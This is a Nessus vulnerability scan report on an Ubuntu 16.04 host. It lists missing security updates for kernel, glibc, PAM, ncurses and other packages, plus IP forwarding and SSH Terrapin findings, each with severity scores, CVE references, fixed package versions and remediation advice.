CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0004

CVSS v2.0 Base Score

6.8 (CVSS2#AV:L/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2022-48624
XREF	USN:6664-1

Plugin Information

Published: 2024/02/27, Modified: 2025/03/28

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : less_481-2.1ubuntu0.2
- Fixed package : less_481-2.1ubuntu0.2+esm1
```

142998 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : LibVNCServer, Vino vulnerability (USN-4636-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-4636-1 advisory.

It was discovered that LibVNCServer incorrectly handled certain internals. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS.

Vino package ships with a LibVNCServer source and all listed releases were affected for this package.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-4636-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0018

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-25708
XREF	USN:4636-1

Plugin Information

Published: 2020/11/18, Modified: 2024/08/27

Plugin Output

tcp/0

```
- Installed package : vino_3.8.1-0ubuntu9.2
- Fixed package : vino_3.8.1-0ubuntu9.4
```

214886 - Ubuntu 16.04 LTS / 18.04 LTS : libndp vulnerability (USN-7248-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-7248-1 advisory.

It was discovered that libndp incorrectly handled certain malformed IPv6 router advertisement packets. A local attacker could possibly use this issue to cause NetworkManager to crash, resulting in a denial of service, or the execution of arbitrary code.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7248-1

Solution

Update the affected libndp-dev, libndp-tools and / or libndp0 packages.

Risk Factor

High

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.1 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0266

CVSS v2.0 Base Score

7.6 (CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2024-5564
XREF	IAVA:2024-A-0326
XREF	USN:7248-1

Plugin Information

Published: 2025/02/03, Modified: 2025/02/03

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libndp0_1.4-2ubuntu0.16.04.1
- Fixed package : libndp0_1.4-2ubuntu0.16.04.1+esm1
```

215239 - Ubuntu 16.04 LTS : GNU C Library vulnerability (USN-7259-2) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-7259-2 advisory.

USN-7259-1 fixed a vulnerability in GNU C Library. This update provides the corresponding update for Ubuntu 16.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-7259-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.002

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2025-0395
XREF	IAVA:2025-A-0062
XREF	USN:7259-2

Plugin Information

Published: 2025/02/10, Modified: 2025/02/10

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libc6_2.23-0ubuntu11.3
- Fixed package : libc6_2.23-0ubuntu11.3+esm8

- Installed package : multiarch-support_2.23-0ubuntu11.3
- Fixed package : multiarch-support_2.23-0ubuntu11.3+esm8
```

102196 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3377-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3377-2 advisory.

USN-3377-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

Fan Wu and Shixiong Zhao discovered a race condition between inotify events and vfs rename operations in the Linux kernel. An unprivileged local attacker could use this to cause a denial of service (system crash) or execute arbitrary code. (CVE-2017-7533)

It was discovered that the Linux kernel did not properly restrict RLIMIT_STACK size. A local attacker could use this in conjunction with another vulnerability to possibly execute arbitrary code.
(CVE-2017-1000365)

discovered that the Virtio GPU driver in the Linux kernel did not properly free memory in some situations. A local attacker could use this to cause a denial of service (memory consumption).
(CVE-2017-10810)

discovered that the RxRPC Kerberos 5 ticket handling code in the Linux kernel did not properly verify metadata. A remote attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2017-7482)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3377-2

Solution

Update the affected kernel package.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.7

EPSS Score

0.0697

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-1000365
CVE	CVE-2017-10810
CVE	CVE-2017-7482
CVE	CVE-2017-7533
XREF	USN:3377-2

Plugin Information

Published: 2017/08/04, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-30-generic for this advisory.
```

102419 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3384-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3384-2 advisory.

USN-3384-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

Andrey Konovalov discovered a race condition in the UDP Fragmentation Offload (UFO) code in the Linux kernel. A local attacker could use this to cause a denial of service or execute arbitrary code.
(CVE-2017-1000112)

Andrey Konovalov discovered a race condition in AF_PACKET socket option handling code in the Linux kernel.
A local unprivileged attacker could use this to cause a denial of service or possibly execute arbitrary code. (CVE-2017-1000111)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3384-2

Solution

Update the affected kernel package.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

9.6

EPSS Score

0.8364

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2017-1000111
CVE	CVE-2017-1000112
XREF	USN:3384-2

Exploitable With

Core Impact (true) Metasploit (true)

Plugin Information

Published: 2017/08/11, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-32-generic for this advisory.
```

103322 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3419-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3419-2 advisory.

USN-3419-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

It was discovered that a buffer overflow existed in the Bluetooth stack of the Linux kernel when handling L2CAP configuration responses. A physically proximate attacker could use this to cause a denial of service (system crash). (CVE-2017-1000251)

It was discovered that a buffer overflow existed in the Broadcom FullMAC WLAN driver in the Linux kernel.
A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2017-7541)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3419-2

Solution

Update the affected kernel package.

Risk Factor

High

CVSS v3.0 Base Score

8.0 (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.2 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

7.4

EPSS Score

0.0758

CVSS v2.0 Base Score

7.7 (CVSS2#AV:A/AC:L/Au:S/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-1000251
CVE	CVE-2017-7541
XREF	USN:3419-2

Plugin Information

Published: 2017/09/19, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-35-generic for this advisory.
```

104318 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3468-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3468-2 advisory.

USN-3468-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

It was discovered that the KVM subsystem in the Linux kernel did not properly bound guest IRQs. A local attacker in a guest VM could use this to cause a denial of service (host system crash). (CVE-2017-1000252)

It was discovered that the Flash-Friendly File System (f2fs) implementation in the Linux kernel did not properly validate superblock metadata. A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2017-10663)

Anthony Perard discovered that the Xen virtual block driver did not properly initialize some data structures before passing them to user space. A local attacker in a guest VM could use this to expose sensitive information from the host OS or other guest VMs. (CVE-2017-10911)

It was discovered that a use-after-free vulnerability existed in the POSIX message queue implementation in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2017-11176)

Dave Chinner discovered that the XFS filesystem did not enforce that the realtime inode flag was settable only on filesystems on a realtime device. A local attacker could use this to cause a denial of service (system crash). (CVE-2017-14340)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3468-2

Solution

Update the affected kernel package.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

EPSS Score

0.2729

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2017-1000252
CVE	CVE-2017-10663
CVE	CVE-2017-10911
CVE	CVE-2017-11176
CVE	CVE-2017-14340
XREF	USN:3468-2

Plugin Information

Published: 2017/11/01, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-38-generic for this advisory.
```

105103 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3508-2)

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-3508-2 advisory.

USN-3508-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

Mohamed Ghannam discovered that a use-after-free vulnerability existed in the Netlink subsystem (XFRM) in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2017-16939)

It was discovered that the Linux kernel did not properly handle copy-on- write of transparent huge pages.
A local attacker could use this to cause a denial of service (application crashes) or possibly gain administrative privileges. (CVE-2017-1000405)

Yonggang Guo discovered that a race condition existed in the driver subsystem in the Linux kernel. A local attacker could use this to possibly gain administrative privileges. (CVE-2017-12146)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3508-2

Solution

Update the affected kernel package.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

EPSS Score

0.0754

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2017-1000405
CVE	CVE-2017-12146
CVE	CVE-2017-16939
XREF	USN:3508-2

Plugin Information

Published: 2017/12/08, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-42-generic for this advisory.
```

102817 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerability (USN-3404-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-3404-2 advisory.

USN-3404-1 fixed a vulnerability in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

A reference count bug was discovered in the Linux kernel ipx protocol stack. A local attacker could exploit this flaw to cause a denial of service or possibly other unspecified problems.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3404-2

Solution

Update the affected kernel package.

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

5.9

EPSS Score

0.0008

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-7487
XREF	USN:3404-2

Plugin Information

Published: 2017/08/29, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-33-generic for this advisory.
```

104715 - Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerability (USN-3484-2)

-

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-3484-2 advisory.

USN-3484-1 fixed vulnerabilities in the Linux kernel for Ubuntu 17.04. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 17.04 for Ubuntu 16.04 LTS.

It was discovered that the KVM subsystem in the Linux kernel did not properly keep track of nested levels in guest page tables. A local attacker in a guest VM could use this to cause a denial of service (host OS crash) or possibly execute arbitrary code in the host OS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-3484-2

Solution

Update the affected kernel package.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

6.5

EPSS Score

0.0006

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2017-12188
XREF	USN:3484-2

Plugin Information

Published: 2017/11/21, Modified: 2024/08/27

Plugin Output

tcp/0

```
Running Kernel level of 4.10.0-28-generic does not meet the minimum fixed level of 4.10.0-40-generic for this advisory.
```

50686 - IP Forwarding Enabled

-

Synopsis

The remote host has IP forwarding enabled.

Description

The remote host has IP forwarding enabled. An attacker can exploit this to route packets through the host and potentially bypass some firewalls / routers / NAC filtering.

Unless the remote host is a router, it is recommended that you disable IP forwarding.

Solution

On Linux, you can disable IP forwarding by doing :

echo 0 > /proc/sys/net/ipv4/ip_forward

On Windows, set the key 'IPEnableRouter' to 0 under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

On Mac OS X, you can disable IP forwarding by executing the command :

sysctl -w net.inet.ip.forwarding=0

For other systems, check with your vendor.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L)

VPR Score

4.0

EPSS Score

0.0596

CVSS v2.0 Base Score

5.8 (CVSS2#AV:A/AC:L/Au:N/C:P/I:P/A:P)

References

CVE CVE-1999-0511

Plugin Information

Published: 2010/11/23, Modified: 2023/10/17

Plugin Output

tcp/0

```
IP forwarding appears to be enabled on the remote host.

Detected local MAC Address : 3003c8da1183
Response from local MAC Address : 3003c8da1183

Detected Gateway MAC Address : 3003c8da1183
Response from Gateway MAC Address : 3003c8da1183
```

187315 - SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795) -

Synopsis

The remote SSH server is vulnerable to a mitm prefix truncation attack.

Description

The remote SSH server is vulnerable to a man-in-the-middle prefix truncation weakness known as Terrapin. This can allow a remote, man-in-the-middle attacker to bypass integrity checks and downgrade the connection's security.

Note that this plugin only checks for remote SSH servers that support either ChaCha20-Poly1305 or CBC with Encrypt-then-MAC and do not support the strict key exchange countermeasures. It does not check for vulnerable software versions.

See Also

https://terrapin-attack.com/

Solution

Contact the vendor for an update with the strict key exchange countermeasures or disable the affected algorithms.

Risk Factor

Medium

CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

5.3 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

6.1

EPSS Score

0.5654

CVSS v2.0 Base Score

5.4 (CVSS2#AV:N/AC:H/Au:N/C:N/I:C/A:N)

CVSS v2.0 Temporal Score

4.2 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2023-48795

Plugin Information

Published: 2023/12/27, Modified: 2024/01/29

Plugin Output

tcp/22/ssh

```
Supports following ChaCha20-Poly1305 Client to Server algorithm : chacha20-poly1305@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : umac-64-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : umac-128-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : hmac-sha2-256-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : hmac-sha2-512-etm@openssh.com
Supports following Encrypt-then-MAC Client to Server algorithm : hmac-sha1-etm@openssh.com
Supports following ChaCha20-Poly1305 Server to Client algorithm : chacha20-poly1305@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : umac-64-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : umac-128-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : hmac-sha2-256-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : hmac-sha2-512-etm@openssh.com
Supports following Encrypt-then-MAC Server to Client algorithm : hmac-sha1-etm@openssh.com
```

190598 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 : shadow vulnerability (USN-6640-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 host has packages installed that are affected by a vulnerability as referenced in the USN-6640-1 advisory.

It was discovered that shadow was not properly sanitizing memory when running the password utility. An attacker could possibly use this issue to retrieve a password from memory, exposing sensitive information.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6640-1

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

4.8 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0007

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:S/C:C/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-4641
XREF	USN:6640-1

Plugin Information

Published: 2024/02/15, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : login_1:4.2-3.1ubuntu5.3
- Fixed package : login_1:4.2-3.1ubuntu5.5+esm4

- Installed package : passwd_1:4.2-3.1ubuntu5.3
- Fixed package : passwd_1:4.2-3.1ubuntu5.5+esm4
```

192577 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : PAM vulnerability (USN-6588-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-6588-2 advisory.

USN-6588-1 fixed a vulnerability in PAM. This update provides the corresponding updates for Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6588-2

Solution

Update the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

4.4

EPSS Score

0.0012

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:S/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2024-22365
XREF	USN:6588-2

Plugin Information

Published: 2024/03/26, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libpam-modules_1.1.8-3.2ubuntu2
- Fixed package : libpam-modules_1.1.8-3.2ubuntu2.3+esm5

- Installed package : libpam-modules-bin_1.1.8-3.2ubuntu2
- Fixed package : libpam-modules-bin_1.1.8-3.2ubuntu2.3+esm5

- Installed package : libpam-runtime_1.1.8-3.2ubuntu2
- Fixed package : libpam-runtime_1.1.8-3.2ubuntu2.3+esm5

- Installed package : libpam0g_1.1.8-3.2ubuntu2
- Fixed package : libpam0g_1.1.8-3.2ubuntu2.3+esm5
```

191736 - Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : ncurses vulnerability (USN-6684-1)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-6684-1 advisory.

It was discovered that ncurses incorrectly handled certain function return values, possibly leading to segmentation fault. A local attacker could possibly use this to cause a denial of service (system crash).

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6684-1

Solution

Update the affected packages.

Risk Factor

High

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0039

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-50495
XREF	USN:6684-1

Plugin Information

Published: 2024/03/08, Modified: 2024/08/27

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : libncurses5_6.0+20160213-1ubuntu1
- Fixed package : libncurses5_6.0+20160213-1ubuntu1+esm5

- Installed package : libncursesw5_6.0+20160213-1ubuntu1
- Fixed package : libncursesw5_6.0+20160213-1ubuntu1+esm5

- Installed package : libtinfo5_6.0+20160213-1ubuntu1
- Fixed package : libtinfo5_6.0+20160213-1ubuntu1+esm5

- Installed package : ncurses-base_6.0+20160213-1ubuntu1
- Fixed package : ncurses-base_6.0+20160213-1ubuntu1+esm5

- Installed package : ncurses-bin_6.0+20160213-1ubuntu1
- Fixed package : ncurses-bin_6.0+20160213-1ubuntu1+esm5

- Installed package : ncurses-term_6.0+20160213-1ubuntu1
- Fixed package : ncurses-term_6.0+20160213-1ubuntu1+esm5
```

186711 - Ubuntu 16.04 ESM / 18.04 ESM / 20.04 LTS / 22.04 LTS / 23.04 / 23.10 : GNU Tar vulnerability (USN-6543-1) -

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM / 20.04 LTS / 22.04 LTS / 23.04 / 23.10 host has packages installed that are affected by a vulnerability as referenced in the USN-6543-1 advisory.

It was discovered that tar incorrectly handled extended attributes in PAX archives. An attacker could use this issue to cause tar to crash, resulting in a denial of service.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-6543-1

Solution

Update the affected tar and / or tar-scripts packages.

Risk Factor

Low

CVSS v3.0 Base Score

6.2 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

3.6

EPSS Score

0.0008

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2023-39804
XREF	USN:6543-1

Plugin Information

Published: 2023/12/11, Modified: 2024/11/13

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : tar_1.28-2.1ubuntu0.2
- Fixed package : tar_1.28-2.1ubuntu0.2+esm3
```

188054 - Ubuntu 16.04 ESM / 18.04 ESM : MySQL vulnerabilities (USN-6583-1) -

Synopsis

The remote Ubuntu host is missing one or more security updates.

Description

The remote Ubuntu 16.04 ESM / 18.04 ESM host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6583-1 advisory.

Multiple security issues were discovered in MySQL and this update includes new upstream MySQL versions to fix these issues.

MySQL has been updated to 5.7.44 in Ubuntu 16.04 LTS and Ubuntu 18.04 LTS.

